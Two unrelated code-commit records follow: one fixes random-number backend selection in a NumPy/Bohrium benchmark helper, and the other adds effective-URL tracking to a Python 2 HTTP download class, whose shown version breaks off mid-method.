<commit_before>from __future__ import print_function
import argparse
import pprint
import pickle
import time
import sys
import re

import numpy as np

# Check whether the numpy module is overruled by Bohrium
bh_is_loaded_as_np = np.__name__ == "bohrium"
bh_target = np.target.TARGET if bh_is_loaded_as_np else "none"

#In order to support runs without bohrium installed, we need some import hacks
try:
    import numpy_force as np
except ImportError:
    import numpy as np

def numpy_flush():
    return

def numpy_array(ary, bohrium=False, dtype=np.float64):
    return np.array(ary, dtype=dtype)

try:
    import bohrium as bh
    toarray = bh.array
    flush = bh.flush
    rand = bh.random.random_sample
    randint = bh.random.random_integers
    randseed =  bh.random.seed
except ImportError:
    toarray = numpy_array
    flush = numpy_flush
    rand = np.random.random_sample
    randint = np.random.random_integers
    randseed =  np.random.seed

def t_or_f(arg):
    """Helper function to parse "True/true/TrUe/False..." as bools."""

    ua = str(arg).lower()
    if ua == 'true'[:len(ua)]:
       return True
    elif ua == 'false'[:len(ua)]:
       return False
    else:
        return arg

class Benchmark:
    """
    Helper class to aid running Python/NumPy programs with and without npbackend.

    Use it to sample elapsed time using: start()/stop()
    Pretty-prints results using pprint().
    start()/stop() will send flush signals to npbackend, ensuring that only
    the statements in-between start() and stop() are measured.
    """

    def __init__(self):

        self.__elapsed  = 0.0           # The quantity measured
        self.__script   = sys.argv[0]   # The script being run

        # Construct argument parser
        p = argparse.ArgumentParser(description='Benchmark runner for npbackend.')

        # We can only have required options when the module is run from
        # command-line. When either directly or indirectly imported
        # we cant.
        owns_main = __name__ == "__main__"

        p.add_argument('--size',
                       help = "Tell the script the size of the data to work on."
        )
        p.add_argument('--dtype',
                       choices  = ["uint8", "float32", "float64"],
                       default  = "float64",
                       help     = "Tell the the script which primitive type to use."
                                  " (default: %(default)s)"
        )
        g1 = p.add_mutually_exclusive_group()
        g1.add_argument('--inputfn',
                       help = "Input file to use as data. When not set, random data is used."
        )
        g1.add_argument('--seed',
                        default = 42,
                        help = "The seed to use when using random data."
        )
        p.add_argument('--dumpinput',
                       default  = False,
                       action   = 'store_true',
                       help = "Dumps the benchmark input to file."
        )
        p.add_argument('--outputfn',
                       help     = "Output file to store results in."
        )

        g2 = p.add_mutually_exclusive_group()
        g2.add_argument('--target',
                       choices  = ['None', 'numpy', 'bhc',
                                   'numexpr', 'pygpu', 'chapel'],
                       default  = "None",
                       help     = "Enable npbackend using the specified target."
                                  " Disable npbackend using None."
                                  " (default: %(default)s)"
        )
        g2.add_argument('--bohrium',
                       choices  = [True, False],
                       default  = False,
                       type     = t_or_f,
                       help     = "Same as --target=bhc which means:"
                                  " enable npbackend using Bohrium."
                                  " (default: %(default)s)"
        )
        p.add_argument('--no-extmethods',
                       default  = False,
                       action   = 'store_true',
                       help     = "Disable extension methods."
        )

        p.add_argument('--visualize',
                       default  = False,
                       action   = 'store_true',
                       help     = "Enable visualization in script."
        )
        p.add_argument('--verbose',
                       default  = False,
                       action   = 'store_true',
                       help     = "Print out misc. information from script."
        )

        args, unknown = p.parse_known_args()   # Parse the arguments

        #
        # Conveniently expose options to the user
        #
        self.size       = [int(i) for i in args.size.split("*")] if args.size else []
        self.dtype      = eval("np.%s" % args.dtype)
        self.dumpinput  = args.dumpinput
        self.inputfn    = args.inputfn
        self.outputfn   = args.outputfn
        self.seed       = int(args.seed)
        randseed(self.seed)

        if len(self.size) == 0:
            raise argparse.ArgumentTypeError('Size must be specified e.g. --size=100*10*1')

        if not bh_is_loaded_as_np and args.bohrium:
            print(
                """
                !!!!!!!

                WARNING:

                --bohrium does not enable Bohrium!

                Unless the benchmark does an explicit check (which it should not).
                To enable Bohrium, overload NumPy with 'python -m bohrium ...'

                !!!!!!!
                """
            )

        # Unify the options: 'target' and 'bohrium'
        # TODO: This should check the environment for target.
        if bh_is_loaded_as_np:
            self.bohrium = True
            self.target = bh_target
        else:
            self.bohrium = False
            self.target = "none"

        self.no_extmethods = args.no_extmethods

        self.visualize  = args.visualize
        self.verbose    = args.verbose

        #
        # Also make them available via the parser and arg objects
        #self.p      = p
        #self.args   = args

    def start(self):
        flush()
        self.__elapsed = time.time()

    def stop(self):
        flush()
        self.__elapsed = time.time() - self.__elapsed

    def tofile(self, filename, arrays):

        for k in arrays:
            arrays[k] = toarray(arrays[k], bohrium=False)
        np.savez(filename, **arrays)

    def dump_arrays(self, prefix, arrays):
        """
        Dumps a dict of arrays organized such as:

        arrays = {'lbl1': array1, 'lbl2': array2}

        Into a file using the following naming convention:
        "prefix_lbl1-DTYPE-SHAPE_lbl2-DTYPE-SHAPE"

        The arrays are stored as .npz files.
        """
        names = []
        for k in arrays:
            names.append("%s-%s-%s" % (
                k,
                arrays[k].dtype,
                '*'.join([str(x) for x in (arrays[k].shape)]
            )))
        filename = "%s_%s" % (prefix, '_'.join(names))
        self.tofile(filename, arrays)

    def load_arrays(self, filename=None):

        if not filename:        # Default to the cmd-line parameter
            filename = self.inputfn

        npz = np.load(filename)

        arrays  = {}            # Make sure arrays are in the correct space
        for k in npz:
            arrays[k] = toarray(npz[k], bohrium=self.bohrium)

        del npz                # We no longer need these

        return arrays

    def load_array(self, filename=None, label='input'):

        if not filename:
            filename = self.inputfn

        return self.load_arrays(filename)[label]

    def pprint(self):
        print("%s - target: %s, bohrium: %s, size: %s, elapsed-time: %f" % (
                self.__script,
                self.target,
                self.bohrium,
                '*'.join([str(s) for s in self.size]),
                self.__elapsed
        ))

    def random_array(self, shape, dtype=None):
        if dtype is None:
            dtype = self.dtype
        if issubclass(np.dtype(dtype).type, np.integer):
            return toarray(randint(shape), dtype=dtype, bohrium=self.bohrium)
        else:
            return toarray(rand(shape), dtype=dtype, bohrium=self.bohrium)

def visualize_grid(grid, title="", block=False):
    """Created to visualize the 2D grid used by Heat Equation."""

    import matplotlib.pyplot as plt

    plt.imshow(grid, extent=[0, 1, 0, 1])
    plt.colorbar()
    plt.show(block=block)

def main():
    B = Benchmark()
    B.start()
    B.stop()
    if B.visualize:
        pprint.pprint(B.args)
    B.pprint()

if __name__ == "__main__":
    main()
<commit_msg>util: fixed bug where native NumPy uses the bohrium random<commit_after>from __future__ import print_function
import argparse
import pprint
import pickle
import time
import sys
import re

import numpy as np

# Check whether the numpy module is overruled by Bohrium
bh_is_loaded_as_np = np.__name__ == "bohrium"
bh_target = np.target.TARGET if bh_is_loaded_as_np else "none"

#In order to support runs without bohrium installed, we need some import hacks
try:
    import numpy_force as np
except ImportError:
    import numpy as np

def numpy_flush():
    return

def numpy_array(ary, bohrium=False, dtype=np.float64):
    return np.array(ary, dtype=dtype)

try:
    import bohrium as bh
    toarray = bh.array
    flush = bh.flush
    rand = bh.random.random_sample
    randint = bh.random.random_integers
    randseed =  bh.random.seed
    bh_module_exist = True
except ImportError:
    toarray = numpy_array
    flush = numpy_flush
    rand = np.random.random_sample
    randint = np.random.random_integers
    randseed =  np.random.seed
    bh_module_exist = False

def t_or_f(arg):
    """Helper function to parse "True/true/TrUe/False..." as bools."""

    ua = str(arg).lower()
    if ua == 'true'[:len(ua)]:
       return True
    elif ua == 'false'[:len(ua)]:
       return False
    else:
        return arg

class Benchmark:
    """
    Helper class to aid running Python/NumPy programs with and without npbackend.

    Use it to sample elapsed time using: start()/stop()
    Pretty-prints results using pprint().
    start()/stop() will send flush signals to npbackend, ensuring that only
    the statements in-between start() and stop() are measured.
    """

    def __init__(self):

        self.__elapsed  = 0.0           # The quantity measured
        self.__script   = sys.argv[0]   # The script being run

        # Construct argument parser
        p = argparse.ArgumentParser(description='Benchmark runner for npbackend.')

        # We can only have required options when the module is run from
        # command-line. When either directly or indirectly imported
        # we cant.
        owns_main = __name__ == "__main__"

        p.add_argument('--size',
                       help = "Tell the script the size of the data to work on."
        )
        p.add_argument('--dtype',
                       choices  = ["uint8", "float32", "float64"],
                       default  = "float64",
                       help     = "Tell the the script which primitive type to use."
                                  " (default: %(default)s)"
        )
        g1 = p.add_mutually_exclusive_group()
        g1.add_argument('--inputfn',
                       help = "Input file to use as data. When not set, random data is used."
        )
        g1.add_argument('--seed',
                        default = 42,
                        help = "The seed to use when using random data."
        )
        p.add_argument('--dumpinput',
                       default  = False,
                       action   = 'store_true',
                       help = "Dumps the benchmark input to file."
        )
        p.add_argument('--outputfn',
                       help     = "Output file to store results in."
        )

        g2 = p.add_mutually_exclusive_group()
        g2.add_argument('--target',
                       choices  = ['None', 'numpy', 'bhc',
                                   'numexpr', 'pygpu', 'chapel'],
                       default  = "None",
                       help     = "Enable npbackend using the specified target."
                                  " Disable npbackend using None."
                                  " (default: %(default)s)"
        )
        g2.add_argument('--bohrium',
                       choices  = [True, False],
                       default  = False,
                       type     = t_or_f,
                       help     = "Same as --target=bhc which means:"
                                  " enable npbackend using Bohrium."
                                  " (default: %(default)s)"
        )
        p.add_argument('--no-extmethods',
                       default  = False,
                       action   = 'store_true',
                       help     = "Disable extension methods."
        )

        p.add_argument('--visualize',
                       default  = False,
                       action   = 'store_true',
                       help     = "Enable visualization in script."
        )
        p.add_argument('--verbose',
                       default  = False,
                       action   = 'store_true',
                       help     = "Print out misc. information from script."
        )

        args, unknown = p.parse_known_args()   # Parse the arguments

        #
        # Conveniently expose options to the user
        #
        self.size       = [int(i) for i in args.size.split("*")] if args.size else []
        self.dtype      = eval("np.%s" % args.dtype)
        self.dumpinput  = args.dumpinput
        self.inputfn    = args.inputfn
        self.outputfn   = args.outputfn
        self.seed       = int(args.seed)
        randseed(self.seed)

        if len(self.size) == 0:
            raise argparse.ArgumentTypeError('Size must be specified e.g. --size=100*10*1')

        if not bh_is_loaded_as_np and args.bohrium:
            print(
                """
                !!!!!!!

                WARNING:

                --bohrium does not enable Bohrium!

                Unless the benchmark does an explicit check (which it should not).
                To enable Bohrium, overload NumPy with 'python -m bohrium ...'

                !!!!!!!
                """
            )

        # Unify the options: 'target' and 'bohrium'
        # TODO: This should check the environment for target.
        if bh_is_loaded_as_np:
            self.bohrium = True
            self.target = bh_target
        else:
            self.bohrium = False
            self.target = "none"

        self.no_extmethods = args.no_extmethods

        self.visualize  = args.visualize
        self.verbose    = args.verbose

        #
        # Also make them available via the parser and arg objects
        #self.p      = p
        #self.args   = args

    def start(self):
        flush()
        self.__elapsed = time.time()

    def stop(self):
        flush()
        self.__elapsed = time.time() - self.__elapsed

    def tofile(self, filename, arrays):

        for k in arrays:
            arrays[k] = toarray(arrays[k], bohrium=False)
        np.savez(filename, **arrays)

    def dump_arrays(self, prefix, arrays):
        """
        Dumps a dict of arrays organized such as:

        arrays = {'lbl1': array1, 'lbl2': array2}

        Into a file using the following naming convention:
        "prefix_lbl1-DTYPE-SHAPE_lbl2-DTYPE-SHAPE"

        The arrays are stored as .npz files.
        """
        names = []
        for k in arrays:
            names.append("%s-%s-%s" % (
                k,
                arrays[k].dtype,
                '*'.join([str(x) for x in (arrays[k].shape)]
            )))
        filename = "%s_%s" % (prefix, '_'.join(names))
        self.tofile(filename, arrays)

    def load_arrays(self, filename=None):

        if not filename:        # Default to the cmd-line parameter
            filename = self.inputfn

        npz = np.load(filename)

        arrays  = {}            # Make sure arrays are in the correct space
        for k in npz:
            arrays[k] = toarray(npz[k], bohrium=self.bohrium)

        del npz                # We no longer need these

        return arrays

    def load_array(self, filename=None, label='input'):

        if not filename:
            filename = self.inputfn

        return self.load_arrays(filename)[label]

    def pprint(self):
        print("%s - target: %s, bohrium: %s, size: %s, elapsed-time: %f" % (
                self.__script,
                self.target,
                self.bohrium,
                '*'.join([str(s) for s in self.size]),
                self.__elapsed
        ))

    def random_array(self, shape, dtype=None):
        if dtype is None:
            dtype = self.dtype
        if issubclass(np.dtype(dtype).type, np.integer):
            if bh_module_exist:
                ret = randint(shape, bohrium=self.bohrium)
            else:
                ret = randint(shape)
        else:
            if bh_module_exist:
                ret = rand(shape, bohrium=self.bohrium)
            else:
                ret = rand(shape)
        return toarray(ret, dtype=dtype, bohrium=self.bohrium)

def visualize_grid(grid, title="", block=False):
    """Created to visualize the 2D grid used by Heat Equation."""

    import matplotlib.pyplot as plt

    plt.imshow(grid, extent=[0, 1, 0, 1])
    plt.colorbar()
    plt.show(block=block)

def main():
    B = Benchmark()
    B.start()
    B.stop()
    if B.visualize:
        pprint.pprint(B.args)
    B.pprint()

if __name__ == "__main__":
    main()
<|endoftext|>


<commit_before>#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
authored by: RaNaN, Spoob
"""
import os
import base64
import cookielib
from gzip import GzipFile
import time
import re
from os import sep, rename
from os.path import dirname, exists
import urllib
from base64 import b64decode
from cStringIO import StringIO

try:
    import pycurl
except:
    import urllib2
    from Keepalive import HTTPHandler

"""
    handles all outgoing HTTP-Requests of the Server
    Usage: create Request Instance
    use retrieveURL and call it with a url at least
    additionaly you can firstly pass the get and secondly the post data in form of a dictonary
    when the last argument is true the handler simulate a http referer with the last called url.
    retrieveUrl returns response as string

"""
class AbortDownload(Exception):
    pass

class Request:
    def __init__(self):

        self.dl_time = 0
        self.dl_finished = 0
        self.dl_size = 0
        self.dl_arrived = 0
        self.dl = False

        self.abort = False

        self.lastURL = None
        self.auth = False

        self.timeout = 5*3600

        try:
            if pycurl: self.curl = True
        except:
            self.curl = False

        if self.curl:

            self.init_curl()

        else:
            self.cookies = []
            self.cj = cookielib.CookieJar()
            handler = HTTPHandler()
            self.opener = urllib2.build_opener(handler, urllib2.HTTPCookieProcessor(self.cj))
            self.downloader = urllib2.build_opener()
            #self.opener.add_handler()

            self.opener.addheaders = [
            ("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.10"),
            ("Accept-Encoding", "deflate"),
            ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
            ("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7"),
            ("Connection", "keep-alive"),
            ("Keep-Alive", "300")]

            self.downloader.addheaders = [
            ("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.10"),
            ("Accept-Encoding", "deflate"),
            ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
            ("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7")]

    def set_timeout(self, timeout):
        self.timeout = int(timeout)

    def init_curl(self):
        self.rep = StringIO()
        self.header = ""

        self.pycurl = pycurl.Curl()
        self.pycurl.setopt(pycurl.FOLLOWLOCATION, 1)
        self.pycurl.setopt(pycurl.MAXREDIRS, 5)
        self.pycurl.setopt(pycurl.TIMEOUT, self.timeout)
        self.pycurl.setopt(pycurl.CONNECTTIMEOUT, 30)
        self.pycurl.setopt(pycurl.NOSIGNAL, 1)
        self.pycurl.setopt(pycurl.NOPROGRESS, 0)
        self.pycurl.setopt(pycurl.PROGRESSFUNCTION, self.progress)
        self.pycurl.setopt(pycurl.AUTOREFERER, 1)
        self.pycurl.setopt(pycurl.HEADERFUNCTION, self.write_header)

        self.pycurl.setopt(pycurl.USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.10")
        self.pycurl.setopt(pycurl.ENCODING, "gzip, deflate")
        self.pycurl.setopt(pycurl.HTTPHEADER, ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                           "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
                           "Connection: keep-alive",
                           "Keep-Alive: 300"])

    def load(self, url, get={}, post={}, ref=True, cookies=False):

        if post:
            post = urllib.urlencode(post)
        else:
            post = None

        if get:
            get = urllib.urlencode(get)
            url = "%s?%s" % (url, get)
        else:
            get = ""

        if self.curl:

            self.pycurl.setopt(pycurl.URL, url)
            self.pycurl.setopt(pycurl.WRITEFUNCTION, self.rep.write)

            if cookies:
                self.curl_enable_cookies()

            if post: self.pycurl.setopt(pycurl.POSTFIELDS, post)

            if ref and self.lastURL is not None:
                self.pycurl.setopt(pycurl.REFERER, self.lastURL)

            self.pycurl.perform()

            self.lastURL = url
            header = self.get_header()

            return self.get_rep()

        else:
            req = urllib2.Request(url, data=post)

            if ref and self.lastURL is not None:
                req.add_header("Referer", self.lastURL)

            if cookies:
                self.add_cookies(req)
                #add cookies

            rep = self.opener.open(req)

            for cookie in self.cj.make_cookies(rep, req):
                self.cookies.append(cookie)

            output = rep.read()

            if rep.headers.has_key("content-encoding"):
                if rep.headers["content-encoding"] == "gzip":
                    output = GzipFile('', 'r', 0, StringIO(output)).read()

            self.lastURL = url

            return output

    def curl_enable_cookies(self):
        cookie_file = "module" + sep + "cookies.txt"
        self.pycurl.setopt(pycurl.COOKIEFILE, cookie_file)
        self.pycurl.setopt(pycurl.COOKIEJAR, cookie_file)

    def add_auth(self, user, pw):

        self.auth = True
        self.user = user
        self.pw = pw

        if self.curl:
            self.pycurl.setopt(pycurl.HTTPHEADER, ['Authorization: Basic ' + base64.encodestring(user + ':' + pw)[:-1]])
            self.pycurl.setopt(pycurl.USERPWD, user + ":" + pw)
            self.pycurl.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_ANY)
        else:
            self.downloader.addheaders.append(['Authorization', 'Basic ' + base64.encodestring(user + ':' + pw)[:-1]])

    def add_cookies(self, req):
        cookie_head = ""
        for cookie in self.cookies:
            cookie_head += cookie.name + "=" + cookie.value + "; "
        req.add_header("Cookie", cookie_head)
    #def download(url, filename, reporthook = None, data = None): #default von urlretrieve auch None?
        #  return self.downloader.urlretrieve(url, filename, reporthook, data)

    def clear_cookies(self):
        if self.curl:
            self.pycurl.setopt(pycurl.COOKIELIST, "ALL")
        else:
            del self.cookies[:]

    def add_proxy(self, protocol, adress):

        # @TODO: pycurl proxy protocoll selection
        if self.curl:
            self.pycurl.setopt(pycurl.PROXY, adress.split(":")[0])
            self.pycurl.setopt(pycurl.PROXYPORT, adress.split(":")[1])
        else:
            handler = urllib2.ProxyHandler({protocol: adress})
            self.opener.add_handler(handler)
            self.downloader.add_handler(handler)

    def download(self, url, file_name, folder="", get={}, post={}, ref=True, cookies=False):

        if post:
            post = urllib.urlencode(post)
        else:
            post = None

        if get:
            get = urllib.urlencode(get)
            url = "%s?%s" % (url, get)
        else:
            get = ""

        if self.curl:

            file_temp = file_name + ".part"
            fp = open(file_temp, 'wb')

            self.init_curl()

            self.pycurl.setopt(pycurl.URL, url)
            self.pycurl.setopt(pycurl.WRITEDATA, fp)

            if cookies:
                self.curl_enable_cookies()

            if post: self.pycurl.setopt(pycurl.POSTFIELDS, post)

            if self.auth:
                self.add_auth(self.user, self.pw)

            if ref and self.lastURL is not None:
                self.pycurl.setopt(pycurl.REFERER, self.lastURL)

            self.dl_arrived = 0
            self.dl_time = time.time()
            self.dl = True

            self.pycurl.perform()
            if "..." in file_name:
                download_folder = dirname(file_name) + sep
                headers = self.get_header()
                file_name_search = re.search('filename=(?P<quote>\")?(.+)(?(quote)\")', headers)
                if file_name_search:
                    file_name = file_name_search.group(2)
                    if "?=" in file_name[-3:]:
                        file_name = file_name.replace("=?UTF-8?B?", "").replace("?=", "==")
                        file_name = b64decode(file_name)
                    file_name = download_folder + sep + file_name

            file_count = 0
            while exists(file_name):
                file_count += 1
                if "." in file_name:
                    file_split = file_name.split(".")
                    temp_name = "%s-%i.%s" % (".".join(file_split[:-1]), file_count, file_split[-1])
                else:
                    temp_name = "%s-%i" % (file_name, file_count)
                if not exists(temp_name):
                    file_name = temp_name

            rename(file_temp, file_name)

            self.dl = False
            self.dl_finished = time.time()

            fp.close()

            return True

        else:

            req = urllib2.Request(url, data=post)

            if ref and self.lastURL is not None:
                req.add_header("Referer", self.lastURL)

            if cookies:
                self.add_cookies(req)
                #add cookies
                rep = self.opener.open(req)

                for cookie in self.cj.make_cookies(rep, req):
                    self.cookies.append(cookie)

            if not self.dl:
                self.dl = True
                file = open(file_name, 'wb')

                conn = self.downloader.open(req, post)
                if conn.headers.has_key("content-length"):
                    self.dl_size = int(conn.headers["content-length"])
                else:
                    self.dl_size = 0
                self.dl_arrived = 0
                self.dl_time = time.time()
                for chunk in conn:
                    if self.abort: raise AbortDownload
                    self.dl_arrived += len(chunk)
                    file.write(chunk)

                file.close()
                self.dl = False
                self.dl_finished = time.time()
                return True

    def write_header(self, string):
        self.header += string

    def get_rep(self):
        value = self.rep.getvalue()
        self.rep.close()
        self.rep = StringIO()
        return value

    def get_header(self):
        h = self.header
        self.header = ""
        return h

    def get_speed(self):
        try:
            return (self.dl_arrived / ((time.time() if self.dl else self.dl_finished)  - self.dl_time)) / 1024
        except:
            return 0

    def get_ETA(self):
        try:
            return (self.dl_size - self.dl_arrived) / (self.dl_arrived / (time.time() - self.dl_time))
        except:
            return 0

    def kB_left(self):
        return (self.dl_size - self.dl_arrived) / 1024

    def progress(self, dl_t, dl_d, up_t, up_d):
        if self.abort: raise AbortDownload
        self.dl_arrived = int(dl_d)
        self.dl_size = int(dl_t)

if __name__ == "__main__":
    import doctest
    doctest.testmod()
<commit_msg>added lastEffectiveURL<commit_after>#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
authored by: RaNaN, Spoob
"""
import os
import base64
import cookielib
from gzip import GzipFile
import time
import re
from os import sep, rename
from os.path import dirname, exists
import urllib
from base64 import b64decode
from cStringIO import StringIO

try:
    import pycurl
except:
    import urllib2
    from Keepalive import HTTPHandler

"""
    handles all outgoing HTTP-Requests of the Server
    Usage: create Request Instance
    use retrieveURL and call it with a url at least
    additionaly you can firstly pass the get and secondly the post data in form of a dictonary
    when the last argument is true the handler simulate a http referer with the last called url.
    retrieveUrl returns response as string

"""
class AbortDownload(Exception):
    pass

class Request:
    def __init__(self):

        self.dl_time = 0
        self.dl_finished = 0
        self.dl_size = 0
        self.dl_arrived = 0
        self.dl = False

        self.abort = False

        self.lastEffectiveURL = None
        self.lastURL = None
        self.auth = False

        self.timeout = 5*3600

        try:
            if pycurl: self.curl = True
        except:
            self.curl = False

        if self.curl:

            self.init_curl()

        else:
            self.cookies = []
            self.cj = cookielib.CookieJar()
            handler = HTTPHandler()
            self.opener = urllib2.build_opener(handler, urllib2.HTTPCookieProcessor(self.cj))
            self.downloader = urllib2.build_opener()
            #self.opener.add_handler()

            self.opener.addheaders = [
            ("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.10"),
            ("Accept-Encoding", "deflate"),
            ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
            ("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7"),
            ("Connection", "keep-alive"),
            ("Keep-Alive", "300")]

            self.downloader.addheaders = [
            ("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.10"),
            ("Accept-Encoding", "deflate"),
            ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
            ("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7")]

    def set_timeout(self, timeout):
        self.timeout = int(timeout)

    def init_curl(self):
        self.rep = StringIO()
        self.header = ""

        self.pycurl = pycurl.Curl()
        self.pycurl.setopt(pycurl.FOLLOWLOCATION, 1)
        self.pycurl.setopt(pycurl.MAXREDIRS, 5)
        self.pycurl.setopt(pycurl.TIMEOUT, self.timeout)
        self.pycurl.setopt(pycurl.CONNECTTIMEOUT, 30)
        self.pycurl.setopt(pycurl.NOSIGNAL, 1)
        self.pycurl.setopt(pycurl.NOPROGRESS, 0)
        self.pycurl.setopt(pycurl.PROGRESSFUNCTION, self.progress)
        self.pycurl.setopt(pycurl.AUTOREFERER, 1)
        self.pycurl.setopt(pycurl.HEADERFUNCTION, self.write_header)

        self.pycurl.setopt(pycurl.USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.10")
        self.pycurl.setopt(pycurl.ENCODING, "gzip, deflate")
        self.pycurl.setopt(pycurl.HTTPHEADER, ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                           "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
                           "Connection: keep-alive",
                           "Keep-Alive: 300"])

    def load(self, url, get={}, post={}, ref=True, cookies=False):

        if post:
            post = urllib.urlencode(post)
        else:
            post = None

        if get:
            get = urllib.urlencode(get)
            url = "%s?%s" % (url, get)
        else:
            get = ""

        if self.curl:

            self.pycurl.setopt(pycurl.URL, url)
            self.pycurl.setopt(pycurl.WRITEFUNCTION, self.rep.write)

            if cookies:
                self.curl_enable_cookies()

            if post: self.pycurl.setopt(pycurl.POSTFIELDS, post)

            if ref and self.lastURL is not None:
                self.pycurl.setopt(pycurl.REFERER, self.lastURL)

            self.pycurl.perform()

            self.lastEffectiveURL = self.pycurl.getinfo(pycurl.EFFECTIVE_URL)
            self.lastURL = url
            header = self.get_header()

            return self.get_rep()

        else:
            req = urllib2.Request(url, data=post)

            if ref and self.lastURL is not None:
                req.add_header("Referer", self.lastURL)

            if cookies:
                self.add_cookies(req)
                #add cookies

            rep = self.opener.open(req)

            for cookie in self.cj.make_cookies(rep, req):
                self.cookies.append(cookie)

            output = rep.read()

            if rep.headers.has_key("content-encoding"):
                if rep.headers["content-encoding"] == "gzip":
                    output = GzipFile('', 'r', 0, StringIO(output)).read()

            self.lastEffectiveURL = rep.geturl()
            self.lastURL = url

            return output

    def curl_enable_cookies(self):
        cookie_file = "module" + sep + "cookies.txt"
        self.pycurl.setopt(pycurl.COOKIEFILE, cookie_file)
        self.pycurl.setopt(pycurl.COOKIEJAR, cookie_file)

    def add_auth(self, user, pw):

        self.auth = True
        self.user = user
        self.pw = pw

        if self.curl:
            self.pycurl.setopt(pycurl.HTTPHEADER, ['Authorization: Basic ' + base64.encodestring(user + ':' + pw)[:-1]])
            self.pycurl.setopt(pycurl.USERPWD, user + ":" + pw)
            self.pycurl.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_ANY)
        else:
            self.downloader.addheaders.append(['Authorization', 'Basic ' + base64.encodestring(user + ':' + pw)[:-1]])

    def add_cookies(self, req):
        cookie_head = ""
        for cookie in self.cookies:
            cookie_head += cookie.name + "=" + cookie.value + "; "
        req.add_header("Cookie", cookie_head)
    #def download(url, filename, reporthook = None, data = None): #default von urlretrieve auch None?
        #  return self.downloader.urlretrieve(url, filename, reporthook, data)

    def clear_cookies(self):
        if self.curl:
            self.pycurl.setopt(pycurl.COOKIELIST, "ALL")
        else:
            del self.cookies[:]

    def add_proxy(self, protocol, adress):

        # @TODO: pycurl proxy protocoll selection
        if self.curl:
            self.pycurl.setopt(pycurl.PROXY, adress.split(":")[0])
            self.pycurl.setopt(pycurl.PROXYPORT, adress.split(":")[1])
        else:
            handler = urllib2.ProxyHandler({protocol: adress})
            self.opener.add_handler(handler)
            self.downloader.add_handler(handler)

    def download(self, url, file_name, folder="", get={}, post={}, ref=True, cookies=False):

        if post:
            post = urllib.urlencode(post)
        else:
            post = None

        if get:
            get = urllib.urlencode(get)
            url = "%s?%s" % (url, get)
        else:
            get = ""

        if self.curl:

            file_temp = file_name + ".part"
            fp = open(file_temp, 'wb')

            self.init_curl()

            self.pycurl.setopt(pycurl.URL, url)
            self.pycurl.setopt(pycurl.WRITEDATA, fp)

            if cookies:
                self.curl_enable_cookies()

            if post: self.pycurl.setopt(pycurl.POSTFIELDS, post)

            if self.auth:
                self.add_auth(self.user, self.pw)

            if ref and self.lastURL is not None:
                self.pycurl.setopt(pycurl.REFERER, self.lastURL)

            self.dl_arrived = 0
            self.dl_time = time.time()
            self.dl = True

            self.pycurl.perform()
            if "..." in file_name:
                download_folder = dirname(file_name) + sep
                headers = self.get_header()
                file_name_search = re.search('filename=(?P<quote>\")?(.+)(?(quote)\")', headers)
                if file_name_search:
                    file_name = file_name_search.group(2)
                    if "?=" in file_name[-3:]:
                        file_name = file_name.replace("=?UTF-8?B?", "").replace("?=", "==")
                        file_name = b64decode(file_name)
                    file_name = download_folder + sep + file_name

            file_count = 0
            while exists(file_name):
                file_count += 1
                if "." in file_name:
                    file_split = file_name.split(".")
                    temp_name = "%s-%i.%s" % (".".join(file_split[:-1]), file_count, file_split[-1])
                else:
                    temp_name = "%s-%i" % (file_name, file_count)
                if not exists(temp_name):
                    file_name = temp_name

            rename(file_temp, file_name)

            self.dl = False
            self.dl_finished = time.time()

            fp.close()

            return True

        else:

            req = urllib2.Request(url, data=post)

            if ref and self.lastURL is not None:
                req.add_header("Referer", self.lastURL)

            if cookies:
                self.add_cookies(req)
                #add cookies
                rep = self.opener.open(req)

                for cookie in self.cj.make_cookies(rep, req):
                    self.cookies.append(cookie)

            if not self.dl:
                self.dl = True
                file = open(file_name, 'wb')

                conn = self.downloader.open(req, post)
                if conn.headers.has_key("content-length"):
                    self.dl_size = int(conn.headers["content-length"])
                else:
                    self.dl_size = 0
                self.dl_arrived = 0
                self.dl_time = time.time()
                for chunk in conn:
                    if self.abort: raise AbortDownload
                    self.dl_arrived += len(chunk)
                    file.write(chunk)

                file.close()
                self.dl = False
                self.dl_finished = time.time()
                return True

    def write_header(self, string):
        self.header += string

    def get_rep(self):
        value = self.rep.getvalue()
        self.rep.close()
        self.rep = StringIO()
        return value

    def get_header(self):
        h = self.header
        self.header = ""
        return h

    def get_speed(self):
        try:
            return (self.dl_arrived / ((time.time() if self.dl else self.dl_finished)  - self.dl_time)) / 1024
        except:
            return 0

    def get_ETA(self):
        try:
            return (self.dl_size - self.dl_arrived) / (self.dl_arrived / (time.time() - self.dl_time))
        except:
            return 0

    def kB_left(self):
        return (self.dl_size - self.dl_arrived) / 1024

    def progress(self, dl_t, dl_d, up_t, up_d):
        if self.abort: raise AbortDownload
